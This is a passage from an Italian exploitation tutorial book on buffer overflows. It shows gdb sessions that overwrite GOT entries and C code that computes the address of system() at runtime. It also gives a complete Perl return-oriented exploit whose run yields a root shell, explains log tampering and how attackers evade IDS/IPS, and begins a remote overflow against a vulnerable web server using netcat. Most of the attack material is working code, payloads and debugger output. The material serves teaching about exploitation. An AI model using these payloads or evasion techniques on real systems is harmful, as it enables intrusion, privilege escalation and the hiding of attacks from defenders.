root@Saturn:~/Documenti/RetOriented-Exploit$ gdb a.out -q
Reading symbols from /home/matteo/Documenti/RetOriented-Exploit/a.out...done.
(gdb) break main
(gdb) run $(python -c "print 'AAAA'")$(python -c "print 'p'*92")$(printf "\x10\xa0\x04\x08")
Starting program: /home/matteo/Documenti/RetOriented-Exploit/a.out $(python -c "print
'AAAA'")$(python -c "print 'p'*92")$(printf "\x10\xa0\x04\x08")
Breakpoint 1, main (argv=2, argc=0xbffff404) at vuln.c:16
16 func(argc[1]);
(gdb) s
func (msg=0xbffff5ab "AAAA", 'p' <repeats 92 times>, "\020\240\004\b") at vuln.c:8
8 strcpy(buf,msg);
(gdb) n
9 buf[0] = toupper(buf[0]);
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 98 di 193
(gdb) print msg
$27 = 0x804a010 "\256\203\004\b\276\203\004\b"
(gdb) n
10 strcpy(msg,buf);
(gdb) n
11 printf("Caps: %s\n",msg);
(gdb) x/25i msg
0x804a010 <_GLOBAL_OFFSET_TABLE_+28>: inc %ecx
0x804a011 <_GLOBAL_OFFSET_TABLE_+29>: inc %ecx
...
(gdb) n
Program received signal SIGSEGV, Segmentation fault.
0x080483a8 in printf@plt ()
La mia indagine credo sia chiara, abbiamo sovrascritto la entry nella GOT con 0x41414141 che,
ovviamente, ha fatto crashare il programma. Ma abbiamo capito meglio la situazione.
Se noi al posto di AAAA reinseriamo la GOT entry di printf, tutto dovrebbe filare liscio.
Ricaviamo la entry corretta:
(gdb) x/1x 0x804a010
0x804a010 <_GLOBAL_OFFSET_TABLE_+28>: 0x080483ae
(gdb) run $(printf "\xae\x83\x04\x08")$(python -c "print 'p'*92")$(printf "\x10\xa0\x04\x08")
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/matteo/Documenti/RetOriented-Exploit/a.out $(printf
"\xae\x83\x04\x08")$(python -c "print 'p'*92")$(printf "\x10\xa0\x04\x08")
Caps: 0Q
Program received signal SIGSEGV, Segmentation fault.
0x080483b8 in exit@plt ()
Ha crashato comunque me questo perchè la sringa non potevamo passarla con un terminatore '\0',
quindi la copia ha proseguito rovinando anche la entry got della exit. (Difatti è la exit() che
fallisce) Bene allora correggiamo il tutto sovrascrivendo anche la entry della exit:
(gdb) x/2x 0x804a010
0x804a010 <_GLOBAL_OFFSET_TABLE_+28>: 0x080483ae 0x080483be
(gdb) run $(printf "\xae\x83\x04\x08\xbe\x83\x04\x08")$(python -c "print 'p'*88")$(printf
"\x10\xa0\x04\x08")
Starting program: /home/matteo/Documenti/RetOriented-Exploit/a.out $(printf
"\xae\x83\x04\x08\xbe\x83\x04\x08")$(python -c "print 'p'*88")$(printf "\x10\xa0\x04\x08")
Caps: 0Q
Program exited with code 01.
Funziona. Come se niente fosse. Questa tecnica ci può tornare utile perchè potremmo pensare di
modificare il comportamento del programma senza farlo crashare dopo l'esecuzione del nostro
codice.
$(printf "\xae\x83\x04\x08\xbe\x83\x04\x08")$(python -c "print 'p'*88")$(printf "\x10\xa0\x04\x08")
| | | | | | |
addr printf addr exit padding addr got printf
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 99 di 193
In questo caso però non possiamo fare questo ragionamento dato che la entry di printf() è
esattamente quella prima di exit, a meno che ci basti fare una chiamata sola, ma questo è
piuttosto improbabile.
Possiamo però spostare la entry di exit() alla fine del nostro codice in modo tale da invocarla
comunque alla fine. Riassumendo il nostro buffer di attacco sarà così composto:
<our gadgets addresses>,<exit@got>,<padding><address of printf@got>
Che compito dovranno avere i nostri gadget? Pensando di eseguire un exploit locale il più
semplice possibile sceglierei di cercare di eseguire la funzione system() sovrascrivendo la got
entry di printf().
Abbiamo già visto come invocare system.
Quello che non abbiamo è la entry nella sezione plt che ci occorre, questo perchè la funzione
system non è usata dal nostro programma. Occorre dunque scoprire come poter chiamare la
funzione.
Vi propongo la sequente indagine,
Analizziamo con gdb ancora un volta il programma vuln.c e cerchiamo di capire come poter
ricavare l'indirizzo di system() senza che nel programma questa venga usata, quindi senza entry
per system nella sezione .plt.
root@saturn:~/RETOR# gdb a.out -q
(gdb) break main
Breakpoint 1 at 0x80484e1: file vuln.c, line 16.
(gdb) run
Starting program: /root/RETOR/a.out
Breakpoint 1, main (argc=1, argv=0xbffec994) at vuln.c:16
16 func(argv[1]);
(gdb) p system
$1 = {<text variable, no debug info>} 0xb7eaaac0 <system> # Indirizzo di system() in libc
(gdb) x/10i 0x8048374 # 0x8048374 è l'indirizzo di chiamata di strcpy@plt
0x8048374 <strcpy@plt>: jmp *0x804a00c # nella sezione plt viene effettuato un salto a
0x804a00c, il quale
0x804837a <strcpy@plt+6>: push $0x18 # rimanda a 0x804837a
0x804837f <strcpy@plt+11>: jmp 0x8048334 <_init+48> -------\ # viene effettuato un
salto a 0x8048334
0x8048384 <printf@plt>: jmp *0x804a010 |
... |
|
(gdb) x/10i 0x8048334 | # siamo nella sezione
_init a 0x8048334, dalle istruzioni vediamo
0x8048334 <_init+48>: pushl 0x8049ff8 <-------------------------/ # che viene effettuato
un'altro salto.
0x804833a <_init+54>: jmp *0x8049ffc -------------------------\ # *0x8049ffc è un'altro
puntatore ad indrizzo
0x8048340 <_init+60>: add %al,(%eax) |
0x8048342 <_init+62>: add %al,(%eax)... |
|
(gdb) x/1x 0x8049ffc |
0x8049ffc <_GLOBAL_OFFSET_TABLE_+8>: 0xb7ff6080 <---------------/ # a tale locazione
(nella GOT) ci manda nelle libc.
(gdb) q
The program is running. Exit anyway? (y or n) y
Gli indirizzi che cambiano sempre sono quelli delle libc naturalmente, 0xb7ff6080 e l'indirizzo
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 100 di 193
di system: 0xb7eaaac0.
Quello che è interessante è che nel programma analizzato, il primo di questi indirizzi si trova
ad una locazione fissa. Nella GOT, abbiamo visto prima che è a:
0x8049ffc <_GLOBAL_OFFSET_TABLE_+8>: 0xb7ff6080
Sempre. Per il momento verifichiamo questa tesi e verifichiamo anche che la differenza tra i due
indirizzi rimane la stessa. Questo è ovvio ma effettuiamo comunque il calcolo per fissare le
idee.
0xb7ff6080 - 0xb7eaaac0 = 0x14b5c0 (1357248 bytes)
prendiamo nota del risultato e rieffettuiamo i test con un'altra istanza del programma che
rilocherà le libc ad indirizzi differenti.
root@saturn:~/RETOR# gdb a.out -q
(gdb) break main
Breakpoint 1 at 0x80484e1: file vuln.c, line 16.
(gdb) run
Starting program: /root/RETOR/a.out
Breakpoint 1, main (argc=1, argv=0xbf9df054) at vuln.c:16
16 func(argv[1]);
(gdb) p system
$1 = {<text variable, no debug info>} 0xb7f4fac0 <system>
(gdb) x/10i 0x8048374
0x8048374 <strcpy@plt>: jmp *0x804a00c
0x804837a <strcpy@plt+6>: push $0x18
0x804837f <strcpy@plt+11>: jmp 0x8048334 <_init+48>
...
(gdb) x/10i 0x8048334
0x8048334 <_init+48>: pushl 0x8049ff8
0x804833a <_init+54>: jmp *0x8049ffc
...
(gdb) x/1x 0x8049ffc
0x8049ffc <_GLOBAL_OFFSET_TABLE_+8>: 0xb809b080
Ricalcoliamo:
0xb809b080 - 0xb7f4fac0 = 0x14b5c0 (1357248 bytes)
ok, questo era ovvio.
Abbiamo visto anche che la locazione nella GOT contenente l'indirizzo 0xb809b080 è sempre
0x8049ffc. Questa è fissa ad ogni esecuzione.
Questo ci permette di calcolare l'indirizzo della funzione system,
Il seguente programma esegue system() calcolando il suo indirizzo a runtime. (relativamente al
mio ambiente)
--------- test0F.c -----------------------
#include <stdio.h>
char string[]="/bin/sh";
void main(void)
{
asm(
"push %0;"
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 101 di 193
"push $0x41414141;"
"movl $0x8049ffc, %%edi;"
"movl (%%edi), %%eax;"
"subl $0x14b5c0, %%eax;"
"push %%eax;"
"ret;"
:
:"r"(string)
);
}
--------- test0F.c END --------------------
L'indirizzo 0x8049ffc utilizzato è relativo all'ambiente naturalmente. Così come l'offset
dipende come minimo dalla versione delle libc. Abbiamo dunque appreso che l'offset tra
l'indirizzo memorizzato alla locazione fissa in <GOT+8> all'indirizzo di system è sempre di
1357248 bytes. Possiamo prendere come riferimento questo indirizzo come altri all'interno
dell'immagine, l'importante è che sia fisso.
Fatto questo vediamo l'exploit del programma.
Quello che vedremo non è semplicemente un exploit che utilizza la tecnica ret-oriented ma un
misto di più tecniche.
Prima di vederlo e di spiegarne il funzionamento parliamo subito del problema principale a cui
abbiamo girato attorno da un pò di righe a questa parte. Il punto è che gli exploit moderni sono
molto dipendenti dall'ambiente in cui ci troviamo. Nel senso che se cambiassimo la versione
delle libc o la versione del compilatore utilizzato l'exploit che vedremo fra poco non
funzionerà più. (questo in particolare)
Quindi purtroppo / per fortuna i sistemi vulnerabili sono drasticamente diminuiti un pò per
questo motivo, un pò perchè, come abbiamo visto, le tecniche si sono molto complicate.
Naturalmente il mio intento è solo quello di conoscere nel dettaglio le cose e non di usare
certe tecniche per accedere illegalmente a sistemi di terzi.
Detto questo l'exploit in perl:
-------------- exploit.pl --------------
1 #!/usr/bin/perl
2
3 # code description virtual address
4
5 print "\xa2\x85\x04\x08" . # first gadget --> 0x804a010
6 "\x90\x90\x90\x90" . # padding --> 0x804a014
7 "\x90\x90\x90\x90" . # padding --> 0x804a018
8 "\xe8\xa2\x04\x08" . # pointer to this section --> 0x804a01c
9 "\x8c\x83\x04\x08" . # address of second gadget --> 0x804a020
10 "\xd0\x2c\xfc\xff" . # EAX --> 0x804a024
11 "\x14\xa0\x8e\x13" . # EBX --> 0x804a028
12 "AAAA" . # padding --> 0x804a02c
13 "/bin/sh;" . # system() argument --> 0x804a030 (+ 8 b)
14 "A"x48 . # padding --> 0x804a038 (+ 48 b)
15 "\x10\xa0\x04\x08" . # printf GOT entry address --> 0x804a068
16 "\x30\xa0\x04\x08"x160 .# dummy --> 0x804a06c (+ 640 b)
17 "\xce\x85\x04\x08" . # address of third dadget --> 0x804a2ec
18 "\x30\xa0\x04\x08"x0x2 .# dummy --> 0x804a2f0 (+8 b)
19 "\x30\xa0\x04\x08" . # dummy EBP --> 0x804a2f8
20 "\xaf\x84\x04\x08" . # call *%eax --> 0x804a2fc
21 "\x30\xa0\x04\x08"; # "/bin/sh" address --> 0x804a300
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 102 di 193
# GADGETS SUMMARY:
#
# 1) add 0xc, %esp - 0x80485a2
# pop %ebx
# pop %esi
# pop %edi
# pop %ebp
# ret
#
# 2) pop %eax - 0x804838c
# pop %ebx
# leave
# ret
#
# 3) add -0xb8a0008(%ebx),%eax - 0x80485ce
# add $0x4, %esp
# pop %ebx
# pop %ebp
# ret
#
# 4) call *%eax - 0x80484af
--------- exploit.pl END --------------------
La prima osservazione che facciamo è che la copia del buffer che passiamo a riga di comando va a
sovrascrivere il puntatore con l'indirizzo: "0x804a010". Esattamente la riga numero 15 dello
script.
La seconda copia andrà di conseguenza a scrivere a partire proprio da quell'indirizzo la nostra
stringa. A questo punto il programma proseguirà normalmente fino al punto in cui printf viene
chiamata. Siccome abbiamo sovrascritto il valore memorizzato a 0x804a010, il tutto salterà
all'inizio della nostra stringa. (riga 5)
Qui è memorizzato l'indirizzo del primo gadget. Questo viene eseguito memorizzando nei registri
ESI e EDI le WORD costituite da '0x90'. Poi in EBP viene inserito l'indirizzo appena precedente
al terzo gadget. Capiremo il perchè fra poco.
Quando l'istruzione "ret" viene eseguita il registro ESP punta all'indirizzo del gadget
successivo, questo indirizzo viene caricato in EIP, quindi l'esecuzione passa a questo gadget.
Questo caricherà nei registri EAX ed EBX i valori che abbiamo sistematicamente posizionato in
memoria nelle due successive locazioni.
L'istruzione "leave" ci spiega il perchè abbiamo precedentemente caricato in EBP l'indirizzo
subito precedente al terzo gadget, infatti "leave" sistemerà questo in ESP poi lo incrementerà
facendolo puntare al terzo gadget. La ret fa il resto.
Il terzo gadget presenta come prima istruzione una addizzione che somma un certo valore al
registro EAX. Attraverso questa istruzione noi calcoliamo l'indirizzo di system in modo
dinamico. Già, perchè in EBX ho un valore a cui sottraendo 0xb8a0008 ottengo l'indirizzo della
GOT entry di strcpy. Il valore puntato da questo indirizzo viene addizzionato a EAX, EAX
contiene un offset. Anche questo valore è stato caricato dal gadget precedente e contiene
l'offset tra strcpy e sytem nelle libc espresso come valore negativo. Questo è fisso
naturalmente. Il risultato della computazione è l'indirizzo di system.
A questo punto abbiamo tutti gli elementi che ci servono. EAX contiene l'indirizzo che ci
occorre, le restanti istruzioni riservano memoria sufficiente all'esecuzione di system senza
rischiare di avere un SIGSEGV andando a scrivere in una porzione di memoria non accessibile.
L'ultimo gadget consiste nell'istruzione "call *%eax" ovvero la chiamata ad una routine con
indirizzo puntato da un registro, nel nostro caso EAX.
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 103 di 193
Questo è sicuramente uno dei casi più complicati per motivi diversi.
Prima di tutto il calcolo di system in modo dinamico. Le libc sono anche esse rilocate ad
indirizzi random così come lo stack. Il segmento .text del programma è estremamente limitato,
pertanto abbiamo pochissimi gadget a disposizione.
Si può dire che normalmente si hanno molte più possibilità con programmi normali che hanno un
sezione text molto più vasta.
L'esecuzione del programma normale è la seguente:
root@HackLab:~/RetOriented# ./ex1 prova
Caps: Prova
L'exploit:
root@HackLab:~/RetOriented# ./ex1 $(./AdvRetExploit.pl)
sh-3.2# whoami
root
sh-3.2# exit
exit
sh: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA: command not found
Segmentation fault
0x14] (Arch: LINUX) - Polimorfismo - IDS/IPS evasion
Up
Ora vedremo una tecnica leggermente più semplice dele shellcode return-oriented-programming,
d'ora in poi "ROP". Anche se la tecnica che spiegherò diventerà comunque inutilizzabile a causa
delle protezioni appena viste, vale assolutamente la pena parlarne. Utilizzeremo i soliti
strumenti, sui quali oramai dovreste aver acquisito gran dimestichezza, dato che siete arrivati
a leggere fino qui. Ero un pò combattuto se inserire questo capitolo prima o dopo aver
introdotto ROP, ma credo sia stata più azzeccata questa scelta, ora la mente è senz'altro più
elastica ad accettare nuove soluzioni e strategie!
Cominciamo da quelle che sono le ulteriori precauzioni prese dagli amministratori di rete e
sviluppatori anche se sono proprio questi ultimi quelli che, come abbiamo visto, il più delle
volte fanno danni. I programmi e servizi che girano su server, computer o dispositivi di rete
sono stati rivisti e aggiunti di tutta una serie di funzioni che riguardano la facoltà di
segnalare allarmi, pericoli, rischi e quant'altro. Pensiamo ad esempio ad un server web, che
possiede una parte del codice incaricato di inviare verso un file di log ogni accesso e
richiesta proveniente dall'esterno. Se pensiamo ai sistemi operativi windows, questi log sono
solitamente conservati nelle directory di sistema, su IIS versione 7.0, si trovano in
"%SystemDrive%\inetpub\logs\LogFiles", ed hanno un formato chiamato W3C. Ma nelle aziende con un
livello di sicurezza adeguato, questi log vengono inviati ad un server syslog tramite il
protocollo UDP. Un server syslog è appunto un server con il solo compito di archiviare i log sul
suo disco. In alcuni casi si arriva anche alla stampa su carta. Due tipiche righe di log sono ad
esempio:
2010-04-12 20:11:08 192.168.0.2 GET / - 80 - 192.168.0.2
Opera/9.80+(Windows+NT+6.1;+U;+it)+Presto/2.5.22+Version/10.51 401 3 5 722
2010-04-12 20:11:08 192.168.0.2 GET /favicon.ico - 80 - 192.168.0.2
Opera/9.80+(Windows+NT+6.1;+U;+it)+Presto/2.5.22+Version/10.51 401 3 5 1
Qui vengono indicate le richieste HTTP effettuate da una certa macchina, come vedete viene
registrato anche l'IP, quindi si verrebbe subito identificati in caso di attacco, in questo caso
il log conterrebbe tutta la stringa utilizzata per l'exploit. Il seguente esempio mostra le
tracce di un attacco tramite shellcode:
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 104 di 193
10/03/2010 17:50:22> From 192.168.0.2:37008
"????????????????1?1???9?u=1?Q1?Q1?Q????f???1?SSSfh???fS???SRQ?????f?1?9?t1????1?1???QR????f?1?1
?1???0?1?1?PPR????f???1?1??9?uF1????1?1?1???????1?A???1?A???1?Ph//shh/bin???TPS???
1?1?@?1?????????????????????????????????????????????????????????????????????????????????????????
????????????????????????????????????????????????????????????????????????????????????????????????
??????????????????????????" NOT HTTP!
Qui è ben visibile L'indirizzo IP ed anche il codice di attacco che va a sfruttare la
vulnerabilità del programma, relativamente alla gestione di una stringa dati in ingresso. Esiste
comunque la possibilità di poter sovrascrivere oltre che l'indirizzo di ritorno o un puntatore,
anche l'indirizzo IP contenuto nella struttura sockaddr. In questo caso il log potrebbe essere
il seguente:
10/03/2010 17:50:22> From 144.144.144.144:37008
"????????????????1?1???9?u=1?Q1?Q1?Q????f???1?SSSfh???........
Come vedete l'IP riporta un valore evidentemente contraffatto da una sovrascrittura. Si può
anche arrivare a sovrascrivere il socket utilizzato per comunicare con il server syslog. In quel
caso la segnalazione non viene nemmeno inviata.
Questo è un primo problema, ma come vedremo, abbastanza risolvibile con una analisi attenta
della vulnerabilità e una valutazione delle nostre possibilità. Un'altra precauzione più a monte
del bersaglio sono i sistemi anti-intrusione. (IDS o IPS). Uno dei più celebri si chiama snort.
Come funzionano questi dispositivi? Questi possono essere integrati a dei firewall o come
dispositivi supplementari, ad esempio potremmo avere una configurazione come la seguente:
---------> ---------> ---------->
Internet Firewall IDS/IPS sys LAN
<-------- <---------- <----------
Un sistema di anti-intrusione "On-line" è in grado di analizzare il traffico di rete pacchetto
per pacchetto e intervenire in tempo reale fermando ciò che ritiene pericoloso. Questi sistemi
possiedono al loro interno un database, il più delle volte in continuo aggiornamento, per
eseguire operazioni di "pattern-matching" sui dati in transito. Cosa cercheranno questi sistemi?
Bè abbiamo visto che le shellcode sono formate nella maggioranza dei casi da lunghe sequenze di
byte 0x90 per creare i "NOP sled", oppure questi sistemi cercheranno i byte "0xcd, 0x80", ovvero
i codici operativi degli interrupt per le syscall, oppure ancora potrebbero cercare stringhe
"/bin/sh", o altro ancora. Rilevare invece un attacco via shellcode ROP è molto più complicato.
Ma restando sul vecchio stile di attacco, ovvero quello efficace nei kernel precedenti al 2.6,
abbiamo necessità di nascondere il nostro codice agli occhi dell'IDS, altrimenti verremmo subito
bloccati (e ammanettati).
Ora vedremo un exploit remoto che fa uso delle tecniche più sofisticate per nascondere il codice
shell.
Ma prima di tutto occorre conoscere il nostro bersaglio. Attaccheremo proprio un server web in
stile apache molto verosimile, questo possiede anche una funzione di log verso un file contenuto
in /var/log/. Il programma si chiama "tinywebd", preso da "The Art of exploitation" di Jon
Erickson, che ho leggermente modificato. Supponiamo anche di aver identificato un sistema IDS a
protezione del server web. Di seguito vi sono i sorgenti.
-------- tinywebd.c --------------------
#include <sys/stat.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 105 di 193
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <time.h>
#include <signal.h>
#include "hacking.h"
#include "hacking-network.h"
#define PORT 80 // the port users will be connecting to
#define WEBROOT "./webroot" // the web server's root directory
#define LOGFILE "/var/log/tinywebd.log" // log filename
int logfd, sockfd; // global log and socket file descriptors
void handle_connection(int, struct sockaddr_in *, int);
int get_file_size(int); // returns the filesize of open file descriptor
void timestamp(int); // writes a timestamp to the open file descriptor
// This function is called when the process is killed
void handle_shutdown(int signal) {
timestamp(logfd);
write(logfd, "Shutting down..\n", 16);
close(logfd);
close(sockfd);
exit(0);
}
int main(void) {
int new_sockfd, yes=1;
struct sockaddr_in host_addr, client_addr; // my address information
socklen_t sin_size;
logfd = open(LOGFILE, O_WRONLY|O_CREAT|O_APPEND, S_IRUSR|S_IWUSR);
if(logfd == -1)
fatal("opening log file");
if ((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1)
fatal("in socket");
if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1)
fatal("setting socket option SO_REUSEADDR");
printf("Starting tiny web daemon..\n");
if(daemon(1, 0) == -1) // fork to a background daemon process
fatal("forking to daemon process");
signal(SIGTERM, handle_shutdown); // call handle_shutdown when killed
signal(SIGINT, handle_shutdown); // call handle_shutdown when interrupted
timestamp(logfd);
write(logfd, "Starting up..\n", 15);
host_addr.sin_family = AF_INET; // host byte order
host_addr.sin_port = htons(PORT); // short, network byte order
host_addr.sin_addr.s_addr = INADDR_ANY; // automatically fill with my IP
memset(&(host_addr.sin_zero), '\0', 8); // zero the rest of the struct
if (bind(sockfd, (struct sockaddr *)&host_addr, sizeof(struct sockaddr)) == -1)
fatal("binding to socket");
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 106 di 193
if (listen(sockfd, 20) == -1)
fatal("listening on socket");
while(1) { // Accept loop
sin_size = sizeof(struct sockaddr_in);
new_sockfd = accept(sockfd, (struct sockaddr *)&client_addr, &sin_size);
if(new_sockfd == -1)
fatal("accepting connection");
handle_connection(new_sockfd, &client_addr, logfd);
}
return 0;
}
/* This function handles the connection on the passed socket from the
* passed client address and logs to the passed FD. The connection is
* processed as a web request and this function replies over the connected
* socket. Finally, the passed socket is closed at the end of the function.
*/
void handle_connection(int sockfd, struct sockaddr_in *client_addr_ptr, int logfd) {
unsigned char *ptr, request[1024], resource[1024], log_buffer[1024];
int fd, length;
length = recv_line(sockfd, request);
sprintf(log_buffer, "From %s:%d \"%s\"\t", inet_ntoa(client_addr_ptr->sin_addr),
ntohs(client_addr_ptr->sin_port), request);
ptr = strstr(request, " HTTP/"); // search for valid looking request
if(ptr == NULL) { // then this isn't valid HTTP
strcat(log_buffer, " NOT HTTP!\n");
} else {
*ptr = 0; // terminate the buffer at the end of the URL
ptr = NULL; // set ptr to NULL (used to flag for an invalid request)
if(strncmp(request, "GET ", 4) == 0) // get request
ptr = request+4; // ptr is the URL
if(strncmp(request, "HEAD ", 5) == 0) // head request
ptr = request+5; // ptr is the URL
if(ptr == NULL) { // then this is not a recognized request
strcat(log_buffer, " UNKNOWN REQUEST!\n");
} else { // valid request, with ptr pointing to the resource name
if (ptr[strlen(ptr) - 1] == '/') // for resources ending with '/'
strcat(ptr, "index.html"); // add 'index.html' to the end
strcpy(resource, WEBROOT); // begin resource with web root path
strcat(resource, ptr); // and join it with resource path
fd = open(resource, O_RDONLY, 0); // try to open the file
if(fd == -1) { // if file is not found
strcat(log_buffer, " 404 Not Found\n");
send_string(sockfd, "HTTP/1.0 404 NOT FOUND\r\n");
send_string(sockfd, "Server: Tiny webserver\r\n\r\n");
send_string(sockfd, "<html><head><title>404 Not Found</title></head>");
send_string(sockfd, "<body><h1>URL not found</h1></body></html>\r\n");
} else { // otherwise, serve up the file
strcat(log_buffer, " 200 OK\n");
send_string(sockfd, "HTTP/1.0 200 OK\r\n");
send_string(sockfd, "Server: Tiny webserver\r\n\r\n");
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 107 di 193
if(ptr == request + 4) { // then this is a GET request
if( (length = get_file_size(fd)) == -1)
fatal("getting resource file size");
if( (ptr = (unsigned char *) malloc(length)) == NULL)
fatal("allocating memory for reading resource");
read(fd, ptr, length); // read the file into memory
send(sockfd, ptr, length, 0); // send it to socket
free(ptr); // free file memory
}
close(fd); // close the file
} // end if block for file found/not found
} // end if block for valid request
} // end if block for valid HTTP
timestamp(logfd);
length = strlen(log_buffer);
write(logfd, log_buffer, length); // write to the log
shutdown(sockfd, SHUT_RDWR); // close the socket gracefully
}
/* This function accepts an open file descriptor and returns
* the size of the associated file. Returns -1 on failure.
*/
int get_file_size(int fd) {
struct stat stat_struct;
if(fstat(fd, &stat_struct) == -1)
return -1;
return (int) stat_struct.st_size;
}
/* This function writes a timestamp string to the open file descriptor
* passed to it.
*/
void timestamp(fd) {
time_t now;
struct tm *time_struct;
int length;
char time_buffer[40];
time(&now); // get number of seconds since epoch
time_struct = localtime((const time_t *)&now); // convert to tm struct
length = strftime(time_buffer, 40, "%m/%d/%Y %H:%M:%S> ", time_struct);
write(fd, time_buffer, length); // write timestamp string to log
}
-------- tinywebd.c END ----------------
-------- hacking.c ---------------------
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// A function to display an error message and then exit
void fatal(char *message) {
char error_message[100];
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 108 di 193
strcpy(error_message, "[!!] Fatal Error ");
strncat(error_message, message, 83);
perror(error_message);
exit(-1);
}
// An error checked malloc() wrapper function
void *ec_malloc(unsigned int size) {
void *ptr;
ptr = malloc(size);
if(ptr == NULL)
fatal("in ec_malloc() on memory allocation");
return ptr;
}
-------- hacking.c END -----------------
-------- hacking-network.c -------------
/* This function accepts a socket FD and a ptr to the null terminated
* string to send. The function will make sure all the bytes of the
* string are sent. Returns 1 on success and 0 on failure.
*/
int send_string(int sockfd, unsigned char *buffer) {
int sent_bytes, bytes_to_send;
bytes_to_send = strlen(buffer);
while(bytes_to_send > 0) {
sent_bytes = send(sockfd, buffer, bytes_to_send, 0);
if(sent_bytes == -1)
return 0; // return 0 on send error
bytes_to_send -= sent_bytes;
buffer += sent_bytes;
}
return 1; // return 1 on success
}
/* This function accepts a socket FD and a ptr to a destination
* buffer. It will receive from the socket until the EOL byte
* sequence in seen. The EOL bytes are read from the socket, but
* the destination buffer is terminated before these bytes.
* Returns the size of the read line (without EOL bytes).
*/
int recv_line(int sockfd, unsigned char *dest_buffer) {
#define EOL "\r\n" // End-Of-Line byte sequence
#define EOL_SIZE 2
unsigned char *ptr;
int eol_matched = 0;
ptr = dest_buffer;
while(recv(sockfd, ptr, 1, 0) == 1) { // read a single byte
if(*ptr == EOL[eol_matched]) { // does this byte match terminator
eol_matched++;
if(eol_matched == EOL_SIZE) { // if all bytes match terminator,
*(ptr+1-EOL_SIZE) = '\0'; // terminate the string
return strlen(dest_buffer); // return bytes recevied
}
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 109 di 193
} else {
eol_matched = 0;
}
ptr++; // increment the pointer to the next byter;
}
return 0; // didn't find the end of line characters
}
-------- hacking-network.c END ---------
Avete identificato il problema?
Il server possiede una vulnerabilità da buffer overflow all'interno della funzione recv_line(),
contenuta nel modulo hacking-network.h. Se la analizzate attentamente vi accorgete che non viene
fatto nessun controllo sulla lunghezza della stringa ricevuta. Di conseguenza se noi inviamo una
stringa più lunga di 1024 byte, abbiamo modo di sovrascrivere gli elementi precedenti al buffer
di ricezione, in questo caso l'array request. Ecco la situazione:
void handle_connection(int sockfd, struct sockaddr_in *client_addr_ptr, int logfd) {
unsigned char *ptr, request[1024], resource[1024], log_buffer[1024];
int fd, length;
length = recv_line(sockfd, request);
[ ... ]
La funzione handle_connection viene chiamata passandogli il socket connesso e il nostro
indirizzo IP, quindi potremmo anche pensare di sovrascriverlo. Come potete immaginare da request
siamo in grado di modificare l'indirizzo di ritorno di handle_connection() salvato in stack,
*ptr, logfd, *client_addr_ptr ecc...
Iniziamo l'analisi, facciamo partire il server, questo si imposterà come demone di sistema:
root@Moon:~# ./tinywebd
Starting tiny web daemon..
Quindi ci attacchiamo al processo con il debugger, il processo sarà in attesa su accept() come
quasi tutti i server...
root@Moon:~# ps -A | grep tiny
1812 ? 00:00:00 tinywebd
root@Moon:~# gdb -q -pid=1812 --symbols=./tinywebd
Reading symbols from /root/tinywebd...done.
Attaching to process 1812
Load new symbol table from "/root/tinywebd"? (y or n) y
Reading symbols from /root/tinywebd...done.
Reading symbols from /lib/tls/i686/cmov/libc.so.6...(no debugging symbols found)...done.
Loaded symbols for /lib/tls/i686/cmov/libc.so.6
Reading symbols from /lib/ld-linux.so.2...(no debugging symbols found)...done.
Loaded symbols for /lib/ld-linux.so.2
0x00bfa422 in __kernel_vsyscall ()
Una buona idea è impostare un break point sulla funzione incriminata, ad esempio su recv_line().
(gdb) b 86
Breakpoint 1 at 0x8049098: file tinywebd.c, line 86.
(gdb) continue
Continuing.
Ora che abbiamo impostato gdb vediamo di inviare un stringa al server, possiamo farlo con un
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 110 di 193
browser oppure con netcat, vediamo in quest'ultimo modo, spostiamoci su'altro terminale;
root@Moon:~# python -c "print 'A'*512" | nc 127.0.0.1 80
a questo punto il server riceve la sequenza di "A" lunga 512 byte, ritorniamo a gdb;
Breakpoint 1, handle_connection (sockfd=5, client_addr_ptr=0xbfc05628, logfd=3) at tinywebd.c:86
86 tinywebd.c: Nessun file o directory.
in tinywebd.c
Siamo fermi sul breakpoint che avevamo impostato, verifichiamo la nostra posizione con back
trace e vediamo la posizione del buffer "request" rispetto l'indirizzo di ritorno;
(gdb) bt
#0 handle_connection (sockfd=5, client_addr_ptr=0xbfc05628, logfd=3) at tinywebd.c:86
#1 0x0804908b in main () at tinywebd.c:72
(gdb) n
88 in tinywebd.c
(gdb) n
90 in tinywebd.c
(gdb) n
91 in tinywebd.c
(gdb) print request
$2 = 'A' <repeats 512 times>, "\n\000\300\277
\006+\000x\205\004\b\340\353+\000\364\337+\000LLT\000\001\000\000\000\214T\300\277f\260*\000(
\236\t \236\t(
\236\t\364oi\000\250\000\000\000\001\000\000\000\260\302T\000\020ii\r`T\300\277\266\252*\00.....
......
(gdb) x/16wx request+1024
0xbfc055e4: 0x00000000 0xbfc05628 0x00000000 0x00696ff4
0xbfc055f4: 0x00000000 0xbfc05658 0x0804908b 0x00000005
